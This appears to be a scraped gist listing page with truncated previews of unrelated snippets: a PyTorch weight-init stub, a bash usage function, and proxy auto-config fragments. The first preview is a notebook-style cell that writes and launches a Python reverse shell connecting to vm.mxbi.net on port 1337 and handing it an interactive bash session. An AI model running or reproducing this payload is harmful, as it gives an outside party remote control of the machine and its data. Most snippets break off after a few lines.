This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
!echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vm.mxbi.net",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > shell.py | |
import subprocess | |
subprocess.Popen(["python", "shell.py"]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding:UTF-8 -*- | |
import torch | |
import torch.nn as nn | |
import torch.nn.init as init | |
def weight_init(m): | |
''' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
helpFunction() | |
{ | |
echo "" | |
echo "Usage: $0 -a applicationName" | |
echo -e "\t-a Name of .app, without extension, in /Applications directory" | |
exit 1 # Exit script after printing help | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var hasOwnProperty = Object.hasOwnProperty; | |
var iproxy ='DIRECT'; | |
var proxy = "PROXY 192.168.1.4:1087;"; | |
var list = [ | |
[ | |
], | |
[ | |
[16777472, 4294967040], | |
[16777728, 4294966784], | |
[16779264, 4294965248], |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function FindProxyForURL(url, host) | |
{ | |
var resolved_ip = dnsResolve(host); | |
if (isInNet(resolved_ip, "10.0.0.0", "255.0.0.0") || | |
isInNet(resolved_ip, "172.16.0.0", "255.240.0.0") || | |
isInNet(resolved_ip, "192.168.0.0", "255.255.0.0") || | |
isInNet(resolved_ip, "127.0.0.0", "255.255.255.0")) | |
return "DIRECT"; |